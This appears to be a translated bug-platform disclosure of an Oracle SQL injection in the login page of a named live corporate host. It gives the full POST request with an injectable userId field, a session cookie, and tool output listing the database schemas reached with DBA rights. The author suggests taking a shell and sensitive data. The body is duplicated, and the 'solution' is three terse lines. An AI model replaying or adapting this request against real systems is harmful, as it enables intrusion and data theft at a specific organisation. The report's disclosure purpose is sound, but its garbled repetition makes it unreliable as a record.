A sensitive system in Futian has a high-risk Oracle Injection Vulnerability (DBA permission)

A sensitive system in Futian has a high-risk Oracle Injection Vulnerability (DBA permission)

This vulnerability is absolutely critical to sensitive systems and oracle SQL injection.
20 rank
Go to the homepage

Vulnerability address: http://fs.foton.com.cn/login.do
 

The username field in the logon is not filtered, resulting in SQL injection:
 

Test code:
 

POST /login.do HTTP/1.1Host: fs.foton.com.cnProxy-Connection: keep-aliveContent-Length: 87Cache-Control: max-age=0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Origin: http://fs.foton.com.cnUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36Content-Type: application/x-www-form-urlencodedReferer: http://fs.foton.com.cn/login.doAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.8Cookie: JSESSIONID=T4b2Wp6G1xQWs1s53GHPDPX0WsldxgQSvv7RFBZMGvw4Bv6TnyQR!-679489738; Hm_lvt_c6855a4f92c19d51a6c4fdcb09a22262=1453961208; Hm_lpvt_c6855a4f92c19d51a6c4fdcb09a22262=1453961289accountSet=1&localeSet=zh_CN&isChange=&userId=admin*&password=admin&loginDate=2016-01-28

Defect parameter: userId

View permissions:
 

View the database:
 

available databases [19]:[*] BQFT[*] CTXSYS[*] DBSNMP[*] DMSYS[*] EXFSYS[*] FTQCJR[*] FTQCJRTEST[*] MDSYS[*] OLAPSYS[*] ORDSYS[*] OUTLN[*] PATROL[*] SCOTT[*] SYS[*] SYSMAN[*] SYSTEM[*] TSMSYS[*] WMSYS[*] XDB

Into the system? Get Sensitive data? Take shell. I think this can be done.
 

Vulnerability address: http://fs.foton.com.cn/login.do
 

The username field in the logon is not filtered, resulting in SQL injection:
 

Test code:
 

POST /login.do HTTP/1.1Host: fs.foton.com.cnProxy-Connection: keep-aliveContent-Length: 87Cache-Control: max-age=0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Origin: http://fs.foton.com.cnUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36Content-Type: application/x-www-form-urlencodedReferer: http://fs.foton.com.cn/login.doAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.8Cookie: JSESSIONID=T4b2Wp6G1xQWs1s53GHPDPX0WsldxgQSvv7RFBZMGvw4Bv6TnyQR!-679489738; Hm_lvt_c6855a4f92c19d51a6c4fdcb09a22262=1453961208; Hm_lpvt_c6855a4f92c19d51a6c4fdcb09a22262=1453961289accountSet=1&localeSet=zh_CN&isChange=&userId=admin*&password=admin&loginDate=2016-01-28

View permissions:
 

View the database:
 

available databases [19]:[*] BQFT[*] CTXSYS[*] DBSNMP[*] DMSYS[*] EXFSYS[*] FTQCJR[*] FTQCJRTEST[*] MDSYS[*] OLAPSYS[*] ORDSYS[*] OUTLN[*] PATROL[*] SCOTT[*] SYS[*] SYSMAN[*] SYSTEM[*] TSMSYS[*] WMSYS[*] XDB

Into the system? Get Sensitive data? Take shell. I think this can be done.
 

Solution:

1. Filter userId

2. Go to WAF

3. Obtain 20 rank